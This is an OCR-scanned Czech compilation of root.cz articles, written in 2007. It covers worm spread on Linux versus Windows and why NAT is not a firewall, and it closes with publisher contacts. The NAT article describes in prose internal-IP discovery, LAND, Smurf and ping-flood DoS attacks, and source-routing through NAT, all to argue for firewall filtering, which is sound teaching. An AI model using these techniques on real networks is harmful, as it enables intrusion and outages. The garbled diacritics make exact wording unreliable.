Jakakoliv dira v aplikaci je tak automaticky propustkou do celého operaéniho systému. V tomto mé Linux navrch
jako platforma i jako prostfedi uzivatell s ur€itou kulturou”.

Zacateénikim se automaticky vStépuje, Ze pracovat pod ,rootem” neni dobry napad, protoZe to mize mit (a ma)
velmi neblahé disledky na bezpeénost. Zaroven je tu ovSem velmi dobry pfistup vyvojafu distribuci, ktefi se
snazi v tomto sméru ,myslet za uZivatele” a pfipravuji mu prostredi, ve kterém nemusi (a ¢asto ani nemuze) pod
administratorskym uctem pracovat.

Velky kus prace v tomto sméru udélala mimo jiné distribuce Ubuntu, ktera administratorsky ucet standardné
blokuje a dovoluje desktopovému uzivateli provadét vSechny podstatné akce i bez néj. Vyrazné tak snizuje riziko
napadeni celého systému. Zda se, ze se jedna o spravnou cestu i pro dalsi distribuce.

Otazkou ovSem je, jak uZivatelské ucty ovliviiuji samotné Sifeni ¢ervli. Samotné napadeni pocitaCe a Sifeni mize
probihat i s pravy béZného uzivatele Franty. Rozdil je jen v tom, Ze Eerv nenapadne dal$i uZivatele na stejném
poCitaci (alespori ne lokalné) a samotny systém. Presto ale muze napachat $kody.

Rychlejsi opravy chyb

Zatim jsme se zabyvali jen lidskym faktorem — chovanim uzivatele. Bezpe€nostni chyby v software je ovSem
mozno zneuzit i bez jeho pficinéni. V tomto sméru v3e ,hraje do karet” linuxovym distribucim. Potvrdila to
i spoleGnost Symantec, kterd ve svém vyzkumu prokazala, ze zatimco open-source software je opravovan
obvykle do jednoho dne, uzavienym aplikacim to trva mnohem déle — Internet Exploreru az devét dni.

To méa samoziejmé velmi radikalni vliv na bezpe¢nost systému jako celku. Za devét dni se mize erv vyuZivajici
novou chybu rozsifit po celém svété. Pokud je ovSem chyba opravena b&hem nékolika hodin, riziko velmi prudce
klesa témér k nule. S tim ovem souvisi také nasledujici bod.

Kvalitni aktualizaéni systém

Linuxové distribuce disponuji bezesporu jednémi z nejkvalitnéjSich nastroji pro spravu software. Automatické
instalace, feSeni zavislosti a pfedev§im automatické aktualizace veSkerého nainstalovaného software jsou jejich
hlavnimi devizami. Modemi distribuce uzivatele automaticky informuiji o novych aktualizacich a &asto na pouhé
jedno kliknuti pak zaplatuji nejen samotny systém, ale pfedevsim i samotny software.

V pfipadé MS Windows je situace mnohem slozitéjSi. Pfestoze je mozno také automaticky aplikovat dodané
zaplaty, aktualizacni software se stara jen o soucasti systému a ostatnich aplikaci si z pochopitelnych divodu
nevsima. Ty tak mohou zUstat stale ohroZeny.

Dal$im velmi nepfijemnym faktem je, Ze uZivatelé Casto aktualizace na MS Windows vypinaji. Jednim z divodl

je napfiklad to, Ze pouZzivaji nelegalni systém a Microsoft je proto béhem aktualizaci ,pfili§ obtézuje”. V dusledku
tak velké procento lidi pouzivd mnoho let neaktualizovany systém, ktery se bezpecnostnimi dérami jen hemzi.
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Samozfejmé zde nema smysl porovnavat Linux a MS Windows, faktem ovSem je, Ze mnoho distribuci je
k dispozici zdarma, a to véetné vSech aktualizaci. Z tohoto divodu neni pro drtivou vétSinu uzivatel( zadny
problém udrZet veSkery nainstalovany software bezpecny.

Vysoka heterogenita

Roztfisténost linuxovych distribuci je obecné povazovana spise za negativni jev, ktery obtézuje jak vyvojare, tak
i nékteré uZivatele. V pfipadé hromadnych utoku je to ovSem jednoznacné plus. Zatimco Microsoft uz pres deset
let pfipravuje maximainé binarné kompatibilni systémy, v pfipadé linuxovych systému je situace relativné
komplikovana a do jisté miry nepfehledna. Vétsiné uZzivatell to samoziejmé nijak nevadi - mezidistribucni
kompatibilita je nezajima. Tvirctm ¢ervl ale komplikuje Zivot.

Zatimco v pfipadé majoritniho systému si mizu jako Utoénik vybrat dostatecné rozSifenou bezpec€nostni diru
a jednoduse ,zkusit Stésti”, na Linuxu se stejnym postupem v podstaté nemam Sanci uspét. Nékteré diry se
tykaji jen konkrétnich distribuci, jistych kombinaci software nebo tfeba jen jednotlivych kompilaci balicku.

Samozfejmé je mozné, ze se Casem linuxovy svét sjednoti a zaéne pouzivat jen nékolik malo distribuci. Zatim
tomu ovSem nic nenasvédcuije a Siroky vybér rozlicnych systému tu pravdépodobné bude i nadale.

Zavérem

Zminil jsem ty nejdllezitéjsi faktory, které ovliviiuji masové Sifeni virQ tak, jak jej miZeme pozorovat na aktuélné
majoritnim systému. Je samoziejmé mozné, Ze se situace rapidné zméni, ale zmén k hor§imu (z pohledu vird) by
v tomto pfipadé muselo byt opravdu hodné. Za stavajici situace se tedy novych hrozeb pfili§ obavat nemusime.

CoZ ovSem neznamena, Ze muzeme polevit na obezietnosti.

Cely Clanek i s diskusi je mozné najit na http://www.root.cz/clanky/maji-viry-na-linuxu-skutecne-zelenou/.

4.7 Proc neni NAT totéz co firewall

Petr Krémar - 13. 6. 2007

Ze preklad adres (NAT) zvysuje miru bezpednosti uzivatele, je jasné a zfejmé. Mnoho neznalych uzivatelii mé ale
pocit, Ze pokud nemaji vefejnou IP adresu, jsou naprosto chranéni pfed jakymkoliv utokem. FaleSny pocit
bezpeci tak muze paradoxné situaci zhorSit. Pro¢ samotny NAT nestaci? Jaka jsou rizika?

Co je to NAT?

NAT je zkratkou pro Network Address Translation, coz bychom mohli pfeloZit jako pfeklad sitovych adres. Jedna
se o funkci routerll, kterda umozriuje prekladat adresy z vnitfniho adresniho rozsahu do vefejného a naopak.
V dlsledku se tak vnitfni adresy nedostanou nikdy do Internetu.

NAT vznikl jako dusledek omezeného a pomémé nizkého poCtu vefejnych IP adres. ProtoZe kazdy uzivatel

dnesniho Internetu nemuze mit adresu z vnéjsiho rozsahu, byl vymyslen princip, ktery dovoluje poskytovateli
pfipojeni za jednu adresu ,skryt” celou vnitini sit, nehledé na jeji rozsah.
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Princip NATu je pomérné jednoduchy:

klient vySle pozadavek na branu vnitini sité

router pakety zachyti, zméni jejich IP adresu na svou vnéjsi

router pakety oznadi tak, Ze je odeSle z nahodného TCP portu

router si do tabulky zapiSe, ktery port zvolil a ktery klient k nému patfi
pfi pfijeti odpovédi provede router reverzni akci a pakety vrati klientovi

oD -

Je zifejmé, Ze pro klienta je cely proces naprosto transparentni a komunikaci nijak neovliviiuje (az na nékteré

vyjimky, témi se ale nebudeme zabyvat). Servery ,na druhé strané” také o niCem nevi a bez potizi odpovidaji
samotnému pfekladadi.

Nevyhodou NATu je ,jen” to, Ze neni mozné se zvenéi pfimo spojit s poCitaem uvniti zaNATované sité. Bez
dalSich Uprav tedy nemame moznost napfiklad provozovat vlastni server. To samoziejmé vétsiné klientd vibec
nevadi a naopak ocenuji bezpeénostni stranku véci.

NAT ma totiz z principu jakysi pasivni vliv na bezpeénost sité. Sekundarnim disledkem NATu je prekryti
veskeré vnitfni komunikace se svétem. Pfipadny Utocnik tak:

* nezna strukturu sité
* nemuze se spojit s konkrétnim pocitaem
= mlZe jen odpovidat na vyzvy zevnitf

UZivatelé mohou mit faleSny pocit bezpedi a Casto se domnivaji, ze je NAT dokaze ochranit pfed Utokem
a nepotfebuji uz firewall. BohuZel stejny nazor maiji Casto i poskytovatelé pfipojeni a néktefi vyrobci hardware.
Nezfidka si totiz mizeme precist, ze ADSL router obsahuje funkce firewallu a ochrany uzivatele. Po pfipojeni
ovSem bohuzel zjistime, Ze nabizi jen NAT.

Ukazeme si, ze samotny NAT neni vS§emocny a ve skuteCnosti je mozné na sit zautodit. Samoziejmé budeme
pfedpokladat naprostou absenci firewallu, coz ovdem neni tak utopicka situace, jak by se mohlo zdat.

Mytus 1: Nikdo nezna mou vnitini IP

Vnitini IP adresa vaSeho poCitate se pfes NAT za normalnich okolnosti nedostane a router ji ani nijak
nedeleguije. Existuje ovSem zpUsob, jak zjistit alespori nékteré informace.

Jednak muizeme (v pfipadé dalSich pokust) adresy tipovat. To neni ¢asto sloZité, vétsinou jsou pouzivany adresy
z nékolika malo rozsaht jako 192.168.* a podobné. Pokud bychom potiebovali, mohli bychom proto adresu
uhodnout.

Sofistikovanéj§i ,feSeni” ovSem nabizeji nékteré protokoly a aplikace. Pomérné bézné aplikace jako ICQ

a néktefi P2P klienti totiz Sifi informace o IP adrese vaSeho pocitace. Neni tedy problém zjistit, jakou adresu ma
uzivatel v ramci vnitfni sité.

Utoénik mize také do jednoho z poéitadii v siti propasovat sviij kod napiiklad pres déravou aplikaci. Tento kdd
pak miZze sit skenovat a posilat do Internetu informace o tom, jak sit vypada.

Mozna pfemyslite, k ¢emu je nékomu vnitini IP adresa poCitaCe, na ktery se stejné nedokaze pfipojit. On to ale
dokaze, jak si ukazeme pozdgji.
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Mytus 2: NAT brani utokdam na sit

Protoze pfimé spojeni do sité neni mozné (to mimochodem neni pravda — pockejte si na dalSi mytus), uzivatelé
maji pocit, ze neni mozno na sit jako takovou UtoCit. Opak je vSak pravdou.

Existuje celd fada Utokd, které dokaZi ohrozit samotnou komunikaci se siti a NAT na né neméa nejmensi vliv.
Jedna se o Utoky typu DoS, které mohou zablokovat pfipojeni sité k Internetu. Nékteré z nich si pfedstavime.

LAND attack

Utok, pfi kterém je na otevieny port napadeného pocitace odeslan upraveny SYN paket, ktery vyzyva k zahajeni
komunikace. Jako odesilatel i pfijemce tohoto paketu je vypInén pocita¢ obéti.

Napadeny pocitaC zaCne na paket odpovidat sam sobé a v pfipadé vétSiho mnoZstvi podobnych pakett je mozno
obét naprosto zahltit a znemoznit ji dalSi pfenaSeni regulérnich paketd.

Smurf attack

Béhem tohoto Utoku je na broadcast adresu sité odesilano velké mnozstvi ICMP (ping) paketd s faleSnou
adresou odesilatele. Pokud neni takovy paket blokovan firewallem, dojde k jeho distribuci do vnitini sité. VSechny
pocitace zacnou automaticky odpovidat a dojde k zahlceni vystupniho routeru.

Ping flood

V tomto pfipadé jde o klasické zahlceni pocitaée velkym mnozZstvim ICMP (ping) paketl. Predpoklada se, ze
utoénik ma vétsi Sifku pasma neZ obét. Bez dalsi ochrany zaCne obét navic automaticky odesilat reakce na tyto
pakety a zahlti tak i pAsmo smérem ven.

Mytus 3: nikdo se na mé nepfripoji

Pfichazi to nejzajimavéj$i. Toto je obecné nejrozSifenéjSi mytus, ktery ovSem dava uzivatelim nejvétsi pocit
bezpedi. Princip NATu totiz pasivné uZivatele pfed neznamymi pakety z venci ochrani. Pfi popisu principu jsme
si fekli, ze si NATujici router do tabulky uklada informace o spojeni a podle ni pak zpétné pfeklada pfichazejici
pakety.

Pokud tedy poSleme na router novy paket, ktery nepatfi k Zadnému spojeni, NAT netusi, kam jej smérovat, a tak
jej automaticky zahodi. Toto je tedy ona pasivni ochrana, ale NAT neni konstruovan k tomu, aby pfed podobnym
chovanim chranil, je to jen dUsledek jeho principu.

Z toho divodu neni obecné u NATu pocitdno se vSemi moznostmi a Utoénik mé& moznost, jak NAT obejit.
V podstaté mu k tomu bude stacit znat jen vnitini IP adresu poéitace, se kterym se chceme spojit. Jak ji zjistit,
jsme si uz fekli.

Strilime pfes NAT

K dalSi ,magii” budeme potfebovat pfisadu nazvanou source routing. To je technika, kterd umoziuje pfedem
zvolit, kudy budou putovat nase pakety. MiZeme si tak pfedem najit cestu k NATujicimu poéitaéi a do hlavicky

naSich paketl ji vyplnit. Nejedna se o nic tajemného, source routing popisuje RFC 791 a jedna se o standardni
vlastnost IP.
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Nyni k samotnému prostfeleni NATu: vytvofime pakety, ve kterych jako cilovou adresu vyplnime vnitini adresu
nékterého ze stroju v siti. Jako branu nastavime NATujici router. Ten je schopen nam udélat cestu dovnitf.
Pomoci source routingu si sami zvolime cestu.

Pak pakety vySleme. Ty pak podle nadi zvolené cesty doputuji az k NATu, ktery je pfijme jako brana. Protoze je
cilem cesty pocita, ktery router zna, doruci pakety az k nému.

Samozfejmé predpokladame, ze na NATu neni zaroved i firewall. Ten by samoziejmé poznal, Zze se jedna
0 podvod uZ jen tim, Ze na vnéjSi zafizeni dorazily pakety ur€ené pro vnitfni sit. Tohle ovSem NAT nezajima (jak
jsme si fekli, neni to bezpecnostni mechanismus) a mél by pakety normainé dorucit. Existuje samozfejmé fada
faktort ovliviiujicich vysledek, zde ndm jde ovSem jen o to, ukazat koncept a principialni ,déravost” samotného
NATu.

Samoziejmé source routing je velmi nebezpecna metoda, kterou firewally obecné blokuji, protoze je s ni mozno
provadét fadu riznych podvodl. Pokud ovSem nemame Zadny filtr a spoléhame se na NAT, uto¢nikovi nic nestoji
v cesté.

NAT neni firewall

Ukazali jsme si, ze samotny NAT neochrani sit a neni to ani jeho uCelem. To, ze schovava pocitaCe za sebou, je
jen vedlejSim efektem jeho primarni funkce. NAT nema slouzit jako ochrana ani jako paketovy filtr.

Pochopitelné zde naznaéenym Utokim je mozno velmi jednoduSe zabranit nékolika elementarnimi pravidly na
firewallu. StaCi nam jednoduse filtrovat vnéjSi provoz a pfimym Utok(im se dokazeme vyhnout. Samotny NAT na
to vSak nestaci.

Cely &lanek i s diskusi je mozné najit na http://www.root.cz/clanky/proc-neni-nat-totez-co-firewall/.
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5 Kontakty

O serveru Lupa.cz (www.lupa.cz)

Lupa.cz je jeden z nejstarSich a nejznaméjSich specializovanych zpravodajskych serveri na ¢eském Internetu.
Jadrem jeho obsahu jsou pavodni denni komentafe z oblasti Internetu a telekomunikaci se zviastnim zietelem na
problematiku poskytovatell pfipojeni, Internetového obsahu, marketingu a e-commerce.

O serveru Mésec.cz (www.mesec.cz)

Financni server Mé&Sec.cz piinasi aktualni informace ze svéta osobnich a firemnich financi. Poskytuje podrobné
charakteristiky a srovnavaci analyzy produktd, jez nabizeji finanéni instituce. Umoziuje ¢tenafim, aby se diky
dostatku informaci, které naleznou na jednom misté, dokazali efektivné rozhodovat, kam uloZit své uspory, kde
ziskat avér, kde se pojistit &i jaké formy platebniho styku pouZzivat.

O serveru Podnikatel.cz (www.podnikatel.cz)

Podnikatel.cz je business server urCeny pro podnikatele, zivnostniky a manazery malych a stfednich firem. Svym
¢tenarim pfinasi kompletni informacni servis, aktualni zpravodajstvi ze svéta podnikani, databaze zakonu, firem
a Ufadu statni spravy, pravni poradenstvi nebo manazerské rady pro UspéSny business.

O Root.cz (www.root.cz)

Root.cz je nejstarSim a nejvétS§im Ceskym zpravodajskym serverem o Linuxu a open-source technologiich. V
Ceském a slovenském Internetovém prostiedi je jeho pozice zcela unikatni. Velka Cast z vice nez 120.000
uzivatell, ktefi ho béhem mésice navstivi, jsou vysoce kvalifikovani odbornici v oblasti informaénich technologii.

O spolecnosti Internet Info, s. r.0. (www.iinfo.cz)

Spolecnost Internet Info, s.r.o., je jednou z nejvétSich medialnich spolenosti ¢eského Internetového trhu s
Sirokym portfoliem sluzeb. Je vydavatelem znamych zpravodajskych a zabavnich server(i (napr. Lupa, MéSec,
Root, DigiZone, Podnikatel, Slunecnice, Bomba), provozuje profesionalni systém pro méfeni a analyzu
navstévnosti NAVRCHOLU.cz a pod znackou Dobry web poskytuje konzultacni sluzby v oblasti Internetového
marketingu a realizuje studie Internetového trhu v Ceské republice.

Vice informaci:

Internet Info, s.r.o.

Durychova 101, 142 00 Praha 4

tel:+420 244 003 110, fax:+420 244 003 220
web: www.iinfo.cz

e-mail: info@iinfo.cz
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